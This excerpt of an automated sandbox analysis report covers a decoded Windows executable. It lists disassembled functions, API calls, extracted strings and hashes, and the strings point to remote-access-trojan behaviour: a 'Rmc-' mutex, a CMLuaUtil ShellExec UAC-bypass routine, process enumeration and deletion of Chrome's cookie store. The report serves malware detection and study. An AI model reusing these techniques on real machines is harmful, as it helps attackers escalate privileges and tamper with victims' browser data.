                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CriticalSection$EnterLeave$ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                            • String ID: XMG$NG$NG
                                                                                            • API String ID: 1596592924-1283814050
                                                                                            • Opcode ID: 989fcfde9d162651d2c52f5969892526c20cfe719922b6efa16a443acd84f32f
                                                                                            • Instruction ID: a5e0bc9ac4bbc073a85812dd1d3adb1d2a3c84d0b98f0a89840e4e641ba94373
                                                                                            • Opcode Fuzzy Hash: 989fcfde9d162651d2c52f5969892526c20cfe719922b6efa16a443acd84f32f
                                                                                            • Instruction Fuzzy Hash: 5341B4712042008BC329FB65DD96AAE7395EB94318F10453FF54AA31F2DF389986CB5E
                                                                                            Function 0040E77B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041B366: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B377
                                                                                              • Part of subcall function 0041B366: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B37E
                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E799
                                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 0040E7BD
                                                                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E7CC
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040E983
                                                                                              • Part of subcall function 0041B392: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040E5A8,00000000,?,?,004750FC), ref: 0041B3A7
                                                                                              • Part of subcall function 0041B392: IsWow64Process.KERNEL32(00000000,?,?,?,004750FC), ref: 0041B3B2
                                                                                              • Part of subcall function 0041B588: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B5A0
                                                                                              • Part of subcall function 0041B588: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B5B3
                                                                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E974
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                            • String ID: `wF
                                                                                            • API String ID: 2180151492-1213667750
                                                                                            • Opcode ID: 9894bba34815c41ba6992cf413d16fdacae34cdd307454659880ca8cac5ffe5d
                                                                                            • Instruction ID: eccf11dc20c1a31a83cdfd33956dcb3d749eb3f266b118f2c15681f5292a9231
                                                                                            • Opcode Fuzzy Hash: 9894bba34815c41ba6992cf413d16fdacae34cdd307454659880ca8cac5ffe5d
                                                                                            • Instruction Fuzzy Hash: F741CF311083455BC225FB61D891AEFB7E5AFA4304F50453EF849531E1EF389A49C65A
                                                                                            Function 00437C90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 00437CBB
                                                                                            • ___except_validate_context_record.LIBVCRUNTIME ref: 00437CC3
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 00437D51
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00437D7C
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 00437DD1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                            • String ID: csm
                                                                                            • API String ID: 1170836740-1018135373
                                                                                            • Opcode ID: e20e4e91601e7da6f84b85b393d4409c90c36ea595a33a74ae9b4edf16c34eae
                                                                                            • Instruction ID: 1103995f59bc857a00dd0af833384e4a9f5f4a2e3f3cb1d3a3c35a3a433dd29e
                                                                                            • Opcode Fuzzy Hash: e20e4e91601e7da6f84b85b393d4409c90c36ea595a33a74ae9b4edf16c34eae
                                                                                            • Instruction Fuzzy Hash: 4E410674A042099BCF20DF29C844AAE7BA5AF4C328F14905AEC55AB392D739DD45CF98
                                                                                            Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 1000339B
                                                                                            • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 10003431
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                                                                                            • _ValidateLocalCookies.LIBCMT ref: 100034B1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                            • String ID: csm
                                                                                            • API String ID: 1170836740-1018135373
                                                                                            • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                            • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                                                                                            • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                            • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                                                                                            Function 00455B13 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: cfbae8f3dcd2e5f3bdf3bcee8d3106cebccc1d81cd58107c476234e6777acd1f
                                                                                            • Instruction ID: 890753aa9dfb888b2a1585f98a5e225511b13b718af609ae416a1884f745cca0
                                                                                            • Opcode Fuzzy Hash: cfbae8f3dcd2e5f3bdf3bcee8d3106cebccc1d81cd58107c476234e6777acd1f
                                                                                            • Instruction Fuzzy Hash: 3A112472504A15BFDB206F729C08D3B3AACEB82736F20016EFC15D7282DE38C800C669
                                                                                            Function 0040FCC7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • std::_Lockit::_Lockit.LIBCPMT ref: 0040FCD4
                                                                                            • int.LIBCPMT ref: 0040FCE7
                                                                                              • Part of subcall function 0040CFB3: std::_Lockit::_Lockit.LIBCPMT ref: 0040CFC4
                                                                                              • Part of subcall function 0040CFB3: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CFDE
                                                                                            • std::_Facet_Register.LIBCPMT ref: 0040FD23
                                                                                            • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FD49
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FD65
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                            • String ID: xkG
                                                                                            • API String ID: 2536120697-3406988965
                                                                                            • Opcode ID: 4b6f72b1e0d08092fd2688f9826419a51511b3482868562e895aff95ac9ad519
                                                                                            • Instruction ID: 7cf641d0f45d7e480cf6c67891cb53e845b1d2cd586d61112ae60f6436568b55
                                                                                            • Opcode Fuzzy Hash: 4b6f72b1e0d08092fd2688f9826419a51511b3482868562e895aff95ac9ad519
                                                                                            • Instruction Fuzzy Hash: 3B11F032900119A7CB14FBA5D8429DEB7689E55358F10013BF809B72D1EB3CAF49C7D9
                                                                                            Function 0044FEEB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044FC32: _free.LIBCMT ref: 0044FC5B
                                                                                            • _free.LIBCMT ref: 0044FF39
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 0044FF44
                                                                                            • _free.LIBCMT ref: 0044FF4F
                                                                                            • _free.LIBCMT ref: 0044FFA3
                                                                                            • _free.LIBCMT ref: 0044FFAE
                                                                                            • _free.LIBCMT ref: 0044FFB9
                                                                                            • _free.LIBCMT ref: 0044FFC4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                            • Instruction ID: 7d3bb130547cbd64d3bc6acdbb054c191a8682768e3bc5df2cfa43195c7f437f
                                                                                            • Opcode Fuzzy Hash: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                            • Instruction Fuzzy Hash: 3611603158175CAAE930B7B2CC87FCB779CFF01744F804C2EB69B66052DA2CB90A5655
                                                                                            Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                                                                                            • _free.LIBCMT ref: 100092AB
                                                                                              • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                              • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                            • _free.LIBCMT ref: 100092B6
                                                                                            • _free.LIBCMT ref: 100092C1
                                                                                            • _free.LIBCMT ref: 10009315
                                                                                            • _free.LIBCMT ref: 10009320
                                                                                            • _free.LIBCMT ref: 1000932B
                                                                                            • _free.LIBCMT ref: 10009336
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                            • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                                                                                            • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                            • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                                                                                            Function 00406815 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe), ref: 00406835
                                                                                              • Part of subcall function 00406764: _wcslen.LIBCMT ref: 00406788
                                                                                              • Part of subcall function 00406764: CoGetObject.OLE32(?,00000024,004669B0,00000000), ref: 004067E9
                                                                                            • CoUninitialize.OLE32 ref: 0040688E
                                                                                            Strings
                                                                                            • [+] ShellExec success, xrefs: 00406873
                                                                                            • C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, xrefs: 00406815, 00406818, 0040686A
                                                                                            • [+] before ShellExec, xrefs: 00406856
                                                                                            • [+] ucmCMLuaUtilShellExecMethod, xrefs: 0040681A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: InitializeObjectUninitialize_wcslen
                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                            • API String ID: 3851391207-285790260
                                                                                            • Opcode ID: f62f8ea22737c4132ff5b3dac93a03cf3a5d885852b0606909ed978fbfad8032
                                                                                            • Instruction ID: bf5204b976fdd256b066cceb308157ad377b3c08e3874fea13dbf5f4dff6080c
                                                                                            • Opcode Fuzzy Hash: f62f8ea22737c4132ff5b3dac93a03cf3a5d885852b0606909ed978fbfad8032
                                                                                            • Instruction Fuzzy Hash: F20180722023117FE2287B21DC0EF7B6658DB4176AF12413FF946A71C1EAA9AC014679
                                                                                            Function 0040FFAA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • std::_Lockit::_Lockit.LIBCPMT ref: 0040FFB7
                                                                                            • int.LIBCPMT ref: 0040FFCA
                                                                                              • Part of subcall function 0040CFB3: std::_Lockit::_Lockit.LIBCPMT ref: 0040CFC4
                                                                                              • Part of subcall function 0040CFB3: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CFDE
                                                                                            • std::_Facet_Register.LIBCPMT ref: 00410006
                                                                                            • std::_Lockit::~_Lockit.LIBCPMT ref: 0041002C
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00410048
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                            • String ID: pmG
                                                                                            • API String ID: 2536120697-2472243355
                                                                                            • Opcode ID: 49ddf8ddb094ef95c775291761389dec69e80ba720e56a3ba1433f00512a79dc
                                                                                            • Instruction ID: 7757f8b08a06b45aa46d7f93aac2e311949306114fe400d1b3bff67def6a62fd
                                                                                            • Opcode Fuzzy Hash: 49ddf8ddb094ef95c775291761389dec69e80ba720e56a3ba1433f00512a79dc
                                                                                            • Instruction Fuzzy Hash: D911B231900419EBCB14FBA5D9429DD7B689E58358F10016FF40567191EB78AF86C789
                                                                                            Function 0040B2A8 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040B2E4
                                                                                            • GetLastError.KERNEL32 ref: 0040B2EE
                                                                                            Strings
                                                                                            • [Chrome Cookies not found], xrefs: 0040B308
                                                                                            • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040B2AF
                                                                                            • [Chrome Cookies found, cleared!], xrefs: 0040B314
                                                                                            • UserProfile, xrefs: 0040B2B4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: DeleteErrorFileLast
                                                                                            • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                            • API String ID: 2018770650-304995407
                                                                                            • Opcode ID: 7a921a9d0c3d4ec616291d68128d064d9b82c51b4b6d84a0f9452a387969e6f0
                                                                                            • Instruction ID: 9d7a183bab8cffc7e176200adf3036985cfece21d6991fc3b8afe8d0fe8b9813
                                                                                            • Opcode Fuzzy Hash: 7a921a9d0c3d4ec616291d68128d064d9b82c51b4b6d84a0f9452a387969e6f0
                                                                                            • Instruction Fuzzy Hash: AB01623565010557CB0477B6DD6B9AF3628ED51718B60013FF802771E2FE3A990586DE
                                                                                            Function 004064D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • Rmc-A5VKNH, xrefs: 0040693F
                                                                                            • h&y, xrefs: 00406909
                                                                                            • C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, xrefs: 00406927
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$Rmc-A5VKNH$h&y
                                                                                            • API String ID: 0-3579163356
                                                                                            • Opcode ID: 68549dc5139d56a2d1ebd5a20fc71dabf1e7981f7a57b1309e8f30a02d7c51f6
                                                                                            • Instruction ID: ac3f053366391772af188fc274efb03f25e4c049f181d6a95d7665767018bac5
                                                                                            • Opcode Fuzzy Hash: 68549dc5139d56a2d1ebd5a20fc71dabf1e7981f7a57b1309e8f30a02d7c51f6
                                                                                            • Instruction Fuzzy Hash: 4FF0F6B17022109BDB103B34AD1966A3A45DB40346F01807BF98BFA6E2DF7C8851C68C
                                                                                            Function 0041A128 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041A15A
                                                                                            • PlaySoundW.WINMM(00000000,00000000), ref: 0041A168
                                                                                            • Sleep.KERNEL32(00002710), ref: 0041A16F
                                                                                            • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041A178
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                            • String ID: Alarm triggered$`ou
                                                                                            • API String ID: 614609389-1879314875
                                                                                            • Opcode ID: 4a48c68418f768cffa6c3ed767b5f5e80af739637c9128b647918063f34aba9e
                                                                                            • Instruction ID: 198adcd2ac8b5b4b9acde76a755fda1533c143b191b85f9fe5233f4cbfc21951
                                                                                            • Opcode Fuzzy Hash: 4a48c68418f768cffa6c3ed767b5f5e80af739637c9128b647918063f34aba9e
                                                                                            • Instruction Fuzzy Hash: 79E01A22A04261379520337B7D0FD6F3D28EAC7B65741006FF905A6192EE580811C6FB
                                                                                            Function 0043980C Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __allrem.LIBCMT ref: 00439999
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004399B5
                                                                                            • __allrem.LIBCMT ref: 004399CC
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004399EA
                                                                                            • __allrem.LIBCMT ref: 00439A01
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00439A1F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
